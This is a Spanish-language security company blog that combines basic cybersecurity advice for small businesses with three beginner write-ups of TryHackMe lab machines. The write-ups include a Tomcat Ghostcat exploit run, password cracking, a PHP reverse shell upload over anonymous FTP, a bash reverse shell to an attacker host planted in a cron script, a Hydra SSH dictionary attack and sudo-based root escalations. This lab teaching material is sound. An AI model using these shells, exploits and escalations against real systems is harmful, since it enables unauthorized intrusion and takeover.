En este artículo, abordaremos los seis vectores de ataque principales a los que las PYMES están expuestas, y proporcionaremos información valiosa para ayudar a los propietarios de negocios a proteger sus redes y activos.
En el mundo actual, donde la tecnología es una parte esencial de nuestras vidas y de nuestros negocios, la seguridad de la información se ha convertido en una preocupación cada vez mayor. Las pequeñas y medianas empresas (PYMES) no son una excepción, ya que se han convertido en blancos atractivos para los ciberdelincuentes debido a su relativa falta de recursos y medidas de seguridad insuficientes.
Antes de sumergirnos en los detalles de los vectores de ataque, es importante comprender qué son y cómo pueden afectar a una PYME. Un vector de ataque se refiere a la forma en que un ciberdelincuente intenta infiltrarse en una red o sistema informático con el fin de obtener acceso no autorizado o causar daño. Estos vectores pueden variar en su complejidad y sofisticación, pero cada uno representa una amenaza significativa para la seguridad de una empresa.
Ahora, sin más preámbulos, vamos a explorar los seis principales vectores de ataque a una PYME:
Correo Electrónico
El correo electrónico se ha convertido en una herramienta indispensable en el entorno empresarial actual, pero también es uno de los principales vectores de ataque. Los ciberdelincuentes utilizan técnicas como el phishing, en el cual se hacen pasar por entidades legítimas para engañar a los empleados y obtener información confidencial, como contraseñas o datos bancarios. Es fundamental educar a los empleados sobre cómo identificar y evitar correos electrónicos fraudulentos, así como implementar soluciones de filtrado de correo y autenticación robustas.
Uso Inapropiado de Activos
El uso inapropiado de activos internos puede representar una amenaza significativa para la seguridad de una PYME. Los empleados pueden acceder a información confidencial o valiosa y utilizarla de manera indebida o incluso venderla a terceros. Para mitigar este riesgo, es esencial establecer políticas claras de seguridad de la información, restringir el acceso a los activos sensibles y capacitar regularmente a los empleados sobre la importancia de proteger la información de la empresa.
Vulnerabilidades Conocidas
Los sistemas y aplicaciones utilizados por las PYMES a menudo tienen vulnerabilidades conocidas que los ciberdelincuentes pueden aprovechar. Esto puede incluir software desactualizado, configuraciones predeterminadas inseguras o parches de seguridad no aplicados. Para mitigar este riesgo, es crucial mantener todos los sistemas y aplicaciones actualizados con los últimos parches de seguridad, así como implementar soluciones de escaneo de vulnerabilidades para identificar y solucionar posibles puntos débiles en la infraestructura de TI.
Pérdida o Robo de Activos
La pérdida o el robo físico de activos, como dispositivos móviles o laptops, puede tener graves consecuencias para una PYME. Estos dispositivos pueden contener información confidencial o datos sensibles que podrían ser explotados por ciberdelincuentes. Es fundamental implementar medidas de seguridad física, como el cifrado de datos, contraseñas de acceso y el seguimiento remoto de dispositivos, para minimizar el riesgo de pérdida o robo de activos.
Almacenamiento Externo
Muchas PYMES utilizan dispositivos de almacenamiento externo, como unidades USB o discos duros portátiles, para compartir y transportar información. Sin embargo, estos dispositivos también pueden ser una fuente de riesgo si se pierden o caen en manos equivocadas. Para protegerse, es necesario implementar políticas de uso de dispositivos externos, como la encriptación de datos y la restricción de acceso a dispositivos no autorizados.
Vectores Externos
Los vectores externos son aquellos que aprovechan las vulnerabilidades en la infraestructura externa de una PYME, como el sitio web o las conexiones de red. Los ciberdelincuentes pueden llevar a cabo ataques de inyección SQL, ataques de fuerza bruta o incluso intentos de comprometer servidores web. Para protegerse, es crucial implementar firewalls robustos, sistemas de detección y prevención de intrusiones, y realizar pruebas de penetración periódicas para identificar y remediar posibles puntos débiles.
Conclusión
En conclusión, las PYMES se enfrentan a una serie de vectores de ataque que pueden comprometer la seguridad de su red y activos. Sin embargo, con las medidas adecuadas de seguridad de la información y una conciencia constante, es posible mitigar estos riesgos. Recuerde educar a sus empleados sobre las mejores prácticas de seguridad, mantener todos los sistemas y aplicaciones actualizados, implementar políticas sólidas de uso de activos y dispositivos externos, y fortalecer su infraestructura con firewalls y sistemas de detección y prevención de intrusiones.
¿Por qué confiar en DCSeguridad?
En DCSeguridad, somos expertos en ciberseguridad y estamos comprometidos con la protección de las PYMES. Ofrecemos servicios integrales de seguridad de la información, desde auditorías de seguridad y consultoría hasta implementación de soluciones y gestión de incidentes. No deje la seguridad de su negocio al azar, póngase en contacto con nosotros hoy mismo para obtener más información sobre cómo podemos ayudarlo a proteger su empresa. Además, lo invitamos a unirse a nuestro canal de Telegram, donde compartimos consejos y actualizaciones de seguridad relevantes.
Proteja su negocio, proteja su futuro. En DCSeguridad, estamos aquí para ayudarlo.
En el mundo cibernético, estamos expuestos a numerosos peligros que pueden comprometer nuestra seguridad y la de nuestras empresas. Por eso, en este artículo, te presentamos 8 consejos básicos de ciberseguridad que te ayudarán a protegerte de amenazas y mantener tus datos a salvo. Implementar estas medidas es fundamental para garantizar la integridad de tus dispositivos y la confidencialidad de tu información. ¡Sigue leyendo para conocer más!
Protege todos tus dispositivos con antivirus
Contar con un antivirus instalado y actualizado en todos tus dispositivos es de vital importancia. Un antivirus eficiente actúa como una barrera contra diversos tipos de ataques, como malware, phishing, virus, ransomware, gusanos, troyanos y muchos otros. Es recomendable que los antivirus sean gestionados por personal cualificado y que utilices una consola centralizada para administrarlos y supervisar las alertas de manera diaria. Recuerda que no solo los ordenadores y servidores deben estar protegidos, sino también los dispositivos móviles.
Mantén tu información privada
Tu información personal y empresarial debe ser tratada con extremo cuidado. Evita compartir datos confidenciales con personas no autorizadas y asegúrate de establecer permisos de acceso adecuados para que solo las personas autorizadas puedan acceder a la información relevante. A nivel empresarial, aplicar la ley de mínimos privilegios es crucial para limitar el acceso de los usuarios a lo estrictamente necesario.
Haz un buen uso de contraseñas
Crear contraseñas seguras es fundamental para proteger tus cuentas y dispositivos. Una contraseña robusta debe tener al menos 12 caracteres e incluir letras mayúsculas, letras minúsculas, números y caracteres especiales como @$€:-)_<>). Las contraseñas débiles son más susceptibles a ataques de fuerza bruta, por lo que es vital utilizar contraseñas seguras. Además, te recomendamos seguir estas pautas adicionales:
Utiliza una contraseña única para cada servicio o plataforma.
Cambia tus contraseñas con regularidad.
Habilita la autenticación de doble factor siempre que sea posible.
Considera el uso de un gestor de contraseñas para almacenar y proteger todas tus contraseñas. Puedes encontrar herramientas confiables en línea para evaluar la fortaleza de tus contraseñas.
Mantente atento a los correos electrónicos
En la actualidad, muchos ciberataques se llevan a cabo mediante ataques de phishing, por lo que es esencial tener precaución al recibir correos electrónicos. Aquí te dejamos algunas recomendaciones:
No descargues archivos adjuntos de remitentes desconocidos.
Verifica cuidadosamente las direcciones de correo electrónico de los remitentes.
No abras correos electrónicos supuestamente enviados por entidades bancarias que soliciten cambios en tus credenciales. Los bancos generalmente no solicitan esto por correo electrónico.
No abras correos electrónicos si no estás esperando un paquete o una comunicación específica.
En caso de sospecha, reenvía el correo electrónico sospechoso al encargado de ciberseguridad para su revisión.
Cuidado al realizar compras en línea y al visitar sitios web
Cuando realizas compras en línea o visitas sitios web, es importante estar alerta y seguir algunas recomendaciones:
Ten precaución al realizar compras en línea y verifica que el sitio web sea legítimo.
No te dejes engañar por ofertas demasiado tentadoras o premios sospechosos en sitios web.
Asegúrate de que la página web tenga un certificado digital, lo cual indica que es segura para realizar transacciones.
Antes de proporcionar información personal o financiera en un sitio web, verifica que sea confiable y seguro.
Privacidad de navegadores y aplicaciones
Es esencial revisar los permisos que otorgas a las aplicaciones en tus dispositivos, ya que algunas pueden solicitar accesos innecesarios. Asegúrate de otorgar únicamente los permisos estrictamente necesarios para su funcionamiento adecuado. De la misma manera, verifica los permisos otorgados a los navegadores y elimina aquellos que no sean necesarios para proteger tu privacidad.
Presta atención a las direcciones web
Cuando accedas a un sitio web, verifica cuidadosamente la URL y asegúrate de que sea correcta. Los ciberdelincuentes suelen realizar cambios mínimos en las direcciones web para que parezcan legítimas. Incluso presta atención a los resultados de búsqueda y asegúrate de acceder a la URL verdadera en lugar de una URL modificada.
Cierra sesión en todos tus dispositivos
Recuerda siempre cerrar sesión en tus dispositivos, como ordenadores, smartphones y tablets. Dejar la sesión abierta puede ser una puerta abierta para los ciberdelincuentes y aumenta el riesgo de violación de datos. Al igual que cerrarías la puerta de tu coche al estacionarlo en la calle o la puerta de tu casa al salir, cerrar sesión es una medida básica pero esencial para proteger tu privacidad y seguridad.
Conclusión
La ciberseguridad es una preocupación creciente en el mundo digital, y seguir estos 8 consejos básicos puede marcar la diferencia en la protección de tus dispositivos y datos personales o empresariales. No subestimes la importancia de implementar medidas de seguridad sólidas y mantenerse alerta ante posibles amenazas. Recuerda que en DCSeguridad podemos ayudarte a implementar soluciones personalizadas de ciberseguridad para tu empresa. ¡No dudes en contactarnos para obtener más información y proteger tu entorno digital! También te invitamos a unirte a nuestro canal de Telegram hoy mismo.
¡Bienvenido al manual de Pentesting para principiantes en TomGhost TryHackMe! En esta guía, aprenderás los pasos básicos para realizar una prueba de penetración en la máquina TomGhost de la plataforma TryHackMe. A continuación, te explicaré los comandos y herramientas utilizadas en cada paso.
Paso 1: Comprobación de la conectividad
Para comenzar, es importante comprobar la conectividad con la máquina objetivo. Ejecuta el siguiente comando en tu terminal:
ping -c 1 <ipmaquina>
Este comando envía un paquete de solicitud de eco (ping) a la dirección IP de la máquina objetivo y espera una respuesta. Si recibes una respuesta exitosa, significa que tienes conectividad con la máquina.
Paso 2: Escaneo de puertos básico
Realizaremos un escaneo de puertos básico utilizando la herramienta nmap. Ejecuta el siguiente comando:
El comando nmap se utiliza para explorar los puertos abiertos en una máquina. En este caso, estamos escaneando todos los puertos disponibles en la máquina objetivo y guardando los resultados en el archivo «nmap_tomghost_nmap_basico».
Durante el escaneo, se identificaron los siguientes puertos abiertos y servicios correspondientes:
Puerto 22: Servicio SSH.
Puerto 53: Servicio DNS.
Puerto 8009: Desconocido.
Puerto 8080: Servicio HTTP.
Paso 3: Escaneo de puertos detallado
Ahora realizaremos un escaneo de puertos más detallado utilizando nmap. Ejecuta el siguiente comando:
Este comando realiza un escaneo exhaustivo en los puertos específicos que hemos seleccionado y guarda los resultados en el archivo «nmap_tomghost_completo».
Durante el escaneo, se encontraron los siguientes servicios:
Puerto 22: OpenSSH 7.2p (Servicio SSH seguro).
Puerto 8080: Apache Tomcat 9.0.30 (Servidor de aplicaciones web).
Paso 4: Búsqueda de vulnerabilidades en Apache Tomcat
En este paso, buscaremos vulnerabilidades conocidas en la versión de Apache Tomcat que hemos identificado (9.0.30). Para ello, clonaremos un repositorio de GitHub que contiene un exploit específico. Ejecuta el siguiente comando:
Este comando clona el repositorio «CVE-2020-1938» desde GitHub. El exploit contenido en este repositorio nos ayudará a buscar vulnerabilidades en Apache Tomcat.
Paso 5: Preparación del exploit para su ejecución
Antes de ejecutar el exploit, debemos asegurarnos de que el archivo sea ejecutable. Utiliza el siguiente comando:
chmod u+x tomcat.py
Este comando otorga permisos de ejecución al archivo «tomcat.py», lo que nos permitirá ejecutarlo en el siguiente paso.
Paso 6: Ejecución del exploit en Apache Tomcat
Ahora es el momento de ejecutar el exploit en Apache Tomcat utilizando el archivo «tomcat.py» que hemos preparado. Ejecuta el siguiente comando:
En este comando, reemplaza <ipmaquina> con la dirección IP de la máquina objetivo. El exploit intentará aprovechar la vulnerabilidad en Apache Tomcat utilizando la ruta del archivo «/WEB-INF/web.xml» y el puerto «8009».
Durante la ejecución del exploit, se mostrarán posibles credenciales de acceso a la máquina.
Paso 7: Acceso por SSH utilizando las credenciales encontradas
Ahora que tenemos posibles credenciales de acceso, podemos intentar acceder a la máquina objetivo a través de SSH. Utiliza el siguiente comando:
ssh usuario@<ipmaquina>
Reemplaza <ipmaquina> con la dirección IP de la máquina objetivo y proporciona la contraseña correspondiente cuando se solicite.
Una vez que hayas accedido a la máquina, podrás explorar el directorio y encontrar dos archivos: uno con extensión «.pgp» y otro con extensión «.asc». Descargaremos estos archivos para trabajar con ellos y descifrarlos.
Paso 8: Creación de un servidor HTTP en la máquina objetivo
Para descargar los archivos desde la máquina objetivo, necesitamos configurar un servidor HTTP en la máquina objetivo. Ejecuta el siguiente comando:
python3 -m http.server
Este comando utiliza el módulo http.server de Python para crear un servidor HTTP en la máquina objetivo. Esto nos permitirá descargar archivos desde la máquina objetivo a nuestro equipo atacante.
Paso 9: Descarga de archivos desde la máquina atacante
Ahora podemos descargar los archivos necesarios desde la máquina objetivo. Utiliza el siguiente comando:
wget <ipmaquina>:8000/archivos
Reemplaza <ipmaquina> con la dirección IP de la máquina objetivo. Este comando utiliza la herramienta wget para descargar el directorio «archivos» desde el servidor HTTP en la máquina objetivo a tu equipo atacante.
Paso 10: Desencriptación de archivos
Los archivos que hemos descargado están encriptados. Para desencriptarlos, seguiremos los siguientes pasos:
Convierte el archivo «.asc» en un formato compatible con «John the Ripper» utilizando el siguiente comando:
gpg2john tryhackme.asc > hash
Este comando convierte el archivo «tryhackme.asc» en un formato que puede ser utilizado por «John the Ripper» y guarda los resultados en el archivo «hash».
Utiliza «John the Ripper» junto con un diccionario de contraseñas para intentar descifrar el archivo encriptado. Ejecuta el siguiente comando:
john --wordlist=/ruta/diccionario hash
Asegúrate de reemplazar «/ruta/diccionario» con la ruta correcta de tu diccionario de contraseñas.
Paso 11: Importación y desencriptación de archivos GPG
Una vez que hayas descifrado el archivo, importa la clave pública GPG desde el archivo «tryhackme.asc» a la lista de claves GPG utilizando el siguiente comando:
gpg --import tryhackme.asc
Luego, utiliza el siguiente comando para desencriptar el archivo «credential.pgp» utilizando la clave privada correspondiente:
gpg --decrypt credential.pgp
Paso 12: Acceso nuevamente por SSH con las nuevas credenciales
Ahora que tenemos las nuevas credenciales, podemos intentar acceder a la máquina objetivo nuevamente utilizando SSH. Ejecuta el siguiente comando:
ssh merlin@<ipmaquina>
Reemplaza <ipmaquina> con la dirección IP de la máquina objetivo y proporciona la contraseña correspondiente cuando se solicite.
Paso 13: Captura de la primera bandera
Una vez que hayas accedido a la máquina como usuario «merlin», puedes capturar la primera bandera ejecutando el siguiente comando:
cat user.txt
Este comando muestra el contenido del archivo «bandera1.txt», que contiene la primera bandera obtenida durante el acceso como usuario «merlin».
Paso 14: Escalada de privilegios
Para realizar una escalada de privilegios, ejecuta el siguiente comando para verificar los privilegios disponibles para el usuario actual:
sudo -l
Este comando muestra los privilegios disponibles para el usuario actual y verifica si se tiene permiso para ejecutar comandos con privilegios de root. En este caso, encontramos la siguiente línea: «(root : root) NOPASSWD: /usr/bin/zip».
Paso 15: Escalada de privilegios con «zip»
Ahora que hemos identificado una posible forma de escalada de privilegios utilizando «zip», podemos aprovecharla. Seguiremos los siguientes pasos:
Utiliza el siguiente comando para ejecutar la escalada de privilegios:
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
Este comando utiliza la vulnerabilidad en la configuración de «sudoers» para ejecutar el comando «zip» con privilegios de root. Crea un archivo temporal único y utiliza «sudo zip» para comprimir el archivo «/etc/hosts» y ejecutar un shell interactivo («sh») con privilegios de root.
Paso 17: Captura de la última bandera
Una vez que hayas obtenido privilegios de root, puedes capturar la última bandera ejecutando el siguiente comando:
cat root.txt
Este comando muestra el contenido del archivo «root.txt», que contiene la última bandera obtenida como usuario root.
Resumen TomGhost TryHackMe
En resumen, hemos realizado un proceso de pentesting en la máquina «tomghost» de TryHackMe. Los pasos seguidos fueron los siguientes:
Comprobación de la conectividad con la máquina objetivo.
Escaneo de puertos básico utilizando Nmap.
Escaneo de puertos detallado para obtener información adicional sobre los servicios.
Búsqueda de vulnerabilidades en Apache Tomcat utilizando un exploit específico.
Preparación y ejecución del exploit en Apache Tomcat.
Acceso por SSH utilizando las credenciales obtenidas.
Descarga de archivos desde la máquina objetivo.
Desencriptación de archivos utilizando GPG.
Acceso nuevamente por SSH con las nuevas credenciales.
Captura de la primera bandera.
Escalada de privilegios utilizando la vulnerabilidad en «sudoers» y el comando «zip».
Captura de la última bandera como usuario root.
Esta experiencia nos permitió adquirir conocimientos sobre el proceso de pentesting, desde la exploración y escaneo de puertos hasta la escalada de privilegios en un entorno controlado.
Recomendación de DCSeguridad
¡Te invitamos a ponerte en contacto con DCSeguridad y unirte a nuestro canal de Telegram!
DCSeguridad es una empresa líder en servicios de seguridad informática y pentesting. Nuestro equipo de expertos en seguridad puede ayudarte a proteger tu infraestructura y aplicaciones contra amenazas cibernéticas.
Te animamos a ponerte en contacto con nosotros para obtener más información sobre cómo podemos asegurar tu empresa y brindarte soluciones personalizadas. Únete a nuestro canal de Telegram para recibir las últimas actualizaciones y consejos de seguridad.
No dejes que tu empresa sea vulnerable a ataques cibernéticos. Confía en DCSeguridad para fortalecer tu seguridad y proteger tus activos digitales.
¡Contáctanos hoy mismo y mantén tu negocio seguro en el mundo digital!
¡Bienvenido a este manual de pentesting para principiantes! En este manual, te guiaré a través de los pasos esenciales para realizar un pentesting en la máquina Startup TryHackMe utilizando las siguientes herramientas: nmap, gobuster y wireshark. A lo largo del manual, explicaré el propósito de cada herramienta y los comandos utilizados. ¡Comencemos!
Paso 1: Configuración inicial de Startup TryHackMe
Primeramente, crea un directorio de trabajo para almacenar todos los archivos relacionados con el pentesting. También, agrega la dirección IP de la máquina objetivo al archivo de hosts para facilitar el acceso.
Paso 2: Comprobación de disponibilidad
Antes de comenzar con el pentesting, realiza un ping a la máquina objetivo para verificar que esté activa y lista para ser analizada.
Paso 3: Escaneo inicial de puertos
Realiza un escaneo sencillo de puertos utilizando la herramienta nmap. Ejecuta el siguiente comando:
nmap -p- ipmaquina -oN nmap_startup_inicial
Este comando te mostrará los puertos 21, 22 y 80 que están abiertos en la máquina objetivo. A continuación, explicaré brevemente para qué se utiliza cada uno de estos servicios:
21: FTP (Protocolo de Transferencia de Archivos) – Permite la transferencia de archivos.
22: SSH (Secure Shell) – Proporciona acceso seguro a la máquina a través de una conexión cifrada.
80: HTTP (Protocolo de Transferencia de Hipertexto) – Utilizado para servir páginas web.
Paso 4: Escaneo exhaustivo de puertos
Realiza un escaneo más exhaustivo de los puertos previamente identificados utilizando nmap. Ejecuta el siguiente comando:
Este comando proporcionará información detallada sobre los servicios y las vulnerabilidades potenciales presentes en los puertos identificados. Donde podemos observar que está permitido el acceso anónimo y la carga al directorio ftp.
Paso 5: Evaluación del acceso anónimo al FTP
Observaste que el acceso anónimo al FTP está permitido en la máquina objetivo. Realizaremos una evaluación más detallada descargando un archivo txt y un archivo jpg desde el FTP para su inspección. Utilizaremos el comando «get» para descargar los archivos, pero primero, debemos verificar si hay información interesante dentro de ellos.
Paso 6: Inspección del sitio web con gobuster de Startup TryHackMe
Utilizaremos la herramienta gobuster para inspeccionar el sitio web en busca de directorios ocultos. Ejecuta el siguiente comando:
Este comando buscará y mostrará los directorios y archivos ocultos presentes en el sitio web. Y aquí observamos que el directorio ftp al que podemos subir un archivo lo lista, por lo que podemos subir y ejecutar un php-reverse-shell.
Paso 7: Acceso al FTP y carga de una shell reversa en Startup TryHackMe
Accedemos al FTP para proceder a realizar una PHP Reverse Shell. Creamos un archivo llamado shell.php con el contenido de este enlace, recuerda cambiar la ip y el puerto de escucha. Luego, accedemos nuevamente al FTP y utilizamos el comando «put shell.php» para subir el archivo shell.php al directorio FTP. Verificamos que el archivo se haya cargado correctamente en el directorio.
Paso 8: Ganar acceso utilizando la shell reversa
Abrimos una ventana de comandos y ejecutamos el siguiente comando:
nc -nvlp 1234
Luego, desde nuestro navegador web, accedemos a http://ipmaquina/files/ftp/archivo.php para establecer el primer acceso utilizando la shell reversa. Aquí es donde obtenemos la primera bandera.
Paso 9: Configuración de un servidor HTTP en la máquina objetivo
Dentro de la máquina, revisando los archivos y carpetas, comprobamos que hay un archivo de wireshark que nos puede dar información. Montamos un servidor HTTP en la máquina objetivo ejecutando el siguiente comando:
python -m http.server
Esto nos permitirá descargar archivos desde la máquina atacante. También podemos copiar el archivo de Wireshark a la carpeta /ftp para descargarlo más tarde.
Paso 10: Descarga e inspección del archivo de Wireshark
Desde nuestra máquina atacante, ejecutamos el siguiente comando:
wget http://ipmaquinaatacada:8000/archivo
Esto descargará el archivo desde el servidor HTTP en la máquina objetivo. Luego, podemos inspeccionar el archivo utilizando Wireshark para analizar el tráfico de red. Podemos encontrar ataques con shell reversas que se encuentran en el puerto 4444. Al analizar los paquetes, encontramos una posible contraseña que podemos probar con el usuario descubierto en la carpeta home.
Paso 11: Acceso por SSH utilizando el usuario «lennie»
Accedemos por SSH a la máquina objetivo utilizando el usuario «lennie». Esto se puede hacer utilizando el comando «ssh usuario@ipmaquina». Navegando por los directorios, encontramos un archivo .sh que si lo inspeccionamos, llama a otro archivo .sh, al revisar los permisos, vemos que podemos editarlo para crear una shell reversa, lo abrimos y en la segunda linea añadimos lo siguiente: bash -i >& dev/tcp/ipvpn/443 0>&1. Guardamos los cambios y ejecutamos el comando «crontab -e» para configurar un cron que se ejecute cada minuto.
Paso 12: Obtención de acceso root
Agregamos la siguiente línea al archivo crontab:
* * * * * /bin/bash /etc/print.sh
Abrimos una ventana de comandos y ejecutamos el siguiente comando:
nc -nvlp 443
Esperamos a obtener acceso root a través de la shell reversa. Una vez dentro, buscamos la última bandera y consideramos la máquina completamente hackeada.
Resumen Startup TryHackMe
En resumen, hemos realizado un pentesting paso a paso utilizando diversas herramientas. Comenzamos con un escaneo inicial de puertos utilizando nmap y luego realizamos un escaneo más exhaustivo. Evaluamos el acceso anónimo al FTP y luego inspeccionamos el sitio web utilizando gobuster. Ganamos acceso a la máquina objetivo utilizando una shell reversa y analizamos el tráfico de red utilizando Wireshark. Posteriormente, obtuvimos acceso al usuario «lennie» y escalamos privilegios para obtener acceso root.
Confía en DCSeguridad
Si necesitas servicios de pentesting y seguridad informática, te recomendamos contactar a nuestra empresa, DCSeguridad. Nuestro equipo de expertos en seguridad puede ayudarte a proteger tu negocio y garantizar la integridad de tus sistemas. Únete a nuestro canal de Telegram para recibir actualizaciones y consejos de seguridad. ¡Estamos aquí para ayudarte!
En este artículo, te guiaré a través de los pasos fundamentales para realizar un pentesting en la máquina Brooklyn TryHackMe. Este manual está especialmente diseñado para principiantes que se están iniciando en el mundo del pentesting. Aprenderás cómo realizar un escaneo de puertos, enumerar servicios, obtener acceso a un servidor FTP, realizar un ataque de diccionario y escalar privilegios. ¡Comencemos!
Paso 1: Preparación
Antes de empezar, asegúrate de tener un directorio de trabajo en tu máquina local para organizar los archivos relacionados con la máquina objetivo. Puedes crearlo utilizando el siguiente comando:
mkdir directorio_maquina
Además, para facilitar el acceso a la máquina objetivo, añadiremos su dirección IP al archivo hosts de tu sistema operativo. Abre el archivo con privilegios de administrador utilizando el siguiente comando:
sudo nano /etc/hosts
Agrega una nueva línea en el siguiente formato: <ip_maquina> nombre_maquina. Guarda y cierra el archivo.
Paso 2: Verificación de la Conexión
Para verificar la conectividad con la máquina objetivo, realizaremos un ping a su dirección IP. Utiliza el siguiente comando:
ping -c 1 <ip_maquina>
Verifica el TTL en la respuesta del ping, ya que nos proporcionará información sobre el sistema operativo de la máquina.
Paso 3: Escaneo Inicial de Puertos
Realizaremos un escaneo inicial de puertos abiertos en la máquina objetivo utilizando la herramienta Nmap. Ejecuta el siguiente comando:
nmap -p- <ip_maquina> -oN nmap_inicial
Este comando escaneará todos los puertos de la máquina y guardará los resultados en el archivo «nmap_inicial». Observa los puertos abiertos encontrados para continuar con el análisis.
Paso 4: Escaneo Exhaustivo de Puertos
Realizaremos un escaneo más detallado de los puertos encontrados en el paso anterior utilizando Nmap. Ejecuta el siguiente comando:
Este comando escaneará los puertos 21, 22 y 80 utilizando distintas técnicas de escaneo y enumeración de servicios. Los resultados se guardarán en el archivo «nmap_completo». Observa los servicios identificados en los puertos para obtener más información sobre ellos.
Paso 5: Acceso al Servidor FTP de Brooklyn TryHackMe
Accederemos al servidor FTP en la máquina objetivo utilizando el usuario anónimo y descargaremos un archivo a tu directorio de trabajo. Sigue estos pasos:
Conéctate al servidor FTP utilizando el siguiente comando:
ftp <ip_maquina>
Ingresa «anonymous» como nombre de usuario y presiona Enter (sin contraseña).
Navega hasta el directorio donde se encuentra el archivo que deseas descargar.
Utiliza el comando get archivo.txt para descargar el archivo al directorio local de tu máquina.
Cierra la conexión FTP.
Paso 6: Ataque de Diccionario en el Servicio SSH
Analizaremos el contenido del archivo descargado en el paso anterior para obtener un posible nombre de usuario. Luego, realizaremos un ataque de diccionario en el servicio SSH utilizando la herramienta Hydra. Sigue estos pasos:
Abre el archivo descargado utilizando el siguiente comando:
cat archivo.txt
Examina el contenido del archivo para encontrar un posible nombre de usuario (por ejemplo, «jake»).
Ejecuta un ataque de diccionario utilizando Hydra. Utiliza el siguiente comando como ejemplo, pero asegúrate de reemplazar <ruta_diccionario> con la ubicación real del diccionario en tu máquina:
Copia el archivo /etc/passwd a tu directorio de trabajo con el siguiente comando:
cp /etc/passwd privilege_escalation.txt
Ejecuta el comando «less» con privilegios de sudo y carga el archivo /etc/passwd con el siguiente comando:
sudo less privilege_escalation.txt
Dentro de «less», ingresa !/bin/sh y presiona Enter. Esto ejecutará una shell interactiva con privilegios de root.
Una vez que obtengas acceso de root, podrás buscar la segunda bandera y realizar cualquier otra actividad necesaria.
Resumen Brooklyn TryHackMe
En este manual, hemos realizado los siguientes pasos de pentesting en la máquina Brooklyn de TryHackMe:
Preparación del entorno, creando un directorio de trabajo y configurando el archivo hosts.
Verificación de la conectividad con la máquina objetivo a través de un ping.
Escaneo inicial de puertos utilizando Nmap.
Escaneo exhaustivo de puertos utilizando Nmap y obtención de información sobre los servicios.
Acceso al servidor FTP y descarga de un archivo.
Análisis del archivo descargado y realización de un ataque de diccionario en el servicio SSH utilizando Hydra.
Escalada de privilegios utilizando el exploit «sudo-less» para el comando «less».
Hemos tenido éxito en nuestro objetivo de realizar un pentesting básico en la máquina Brooklyn de TryHackMe. A través de estos pasos, hemos adquirido conocimientos sobre escaneo de puertos, enumeración de servicios, acceso a servicios y escalada de privilegios.
¡Contáctanos y Únete a Nuestro Canal de Telegram!
Si deseas más información sobre nuestros servicios de seguridad informática o tienes preguntas adicionales, te invitamos a contactar a DCSeguridad. Puedes visitar nuestro sitio web para obtener más detalles y unirte a nuestro canal de Telegram. Estaremos encantados de ayudarte y proporcionarte soporte en tus proyectos de seguridad.
Recuerda que el pentesting debe llevarse a cabo de manera ética y con el permiso del propietario del sistema objetivo.
Para ofrecer las mejores experiencias, utilizamos tecnologías como las cookies para almacenar y/o acceder a la información del dispositivo. El consentimiento de estas tecnologías nos permitirá procesar datos como el comportamiento de navegación o las identificaciones únicas en este sitio. No consentir o retirar el consentimiento, puede afectar negativamente a ciertas características y funciones.
Funcional
Siempre activo
El almacenamiento o acceso técnico es estrictamente necesario para el propósito legítimo de permitir el uso de un servicio específico explícitamente solicitado por el abonado o usuario, o con el único propósito de llevar a cabo la transmisión de una comunicación a través de una red de comunicaciones electrónicas.
Preferencias
El almacenamiento o acceso técnico es necesario para la finalidad legítima de almacenar preferencias no solicitadas por el abonado o usuario.
Estadísticas
El almacenamiento o acceso técnico que es utilizado exclusivamente con fines estadísticos.El almacenamiento o acceso técnico que se utiliza exclusivamente con fines estadísticos anónimos. Sin un requerimiento, el cumplimiento voluntario por parte de tu proveedor de servicios de Internet, o los registros adicionales de un tercero, la información almacenada o recuperada sólo para este propósito no se puede utilizar para identificarte.
Marketing
El almacenamiento o acceso técnico es necesario para crear perfiles de usuario para enviar publicidad, o para rastrear al usuario en una web o en varias web con fines de marketing similares.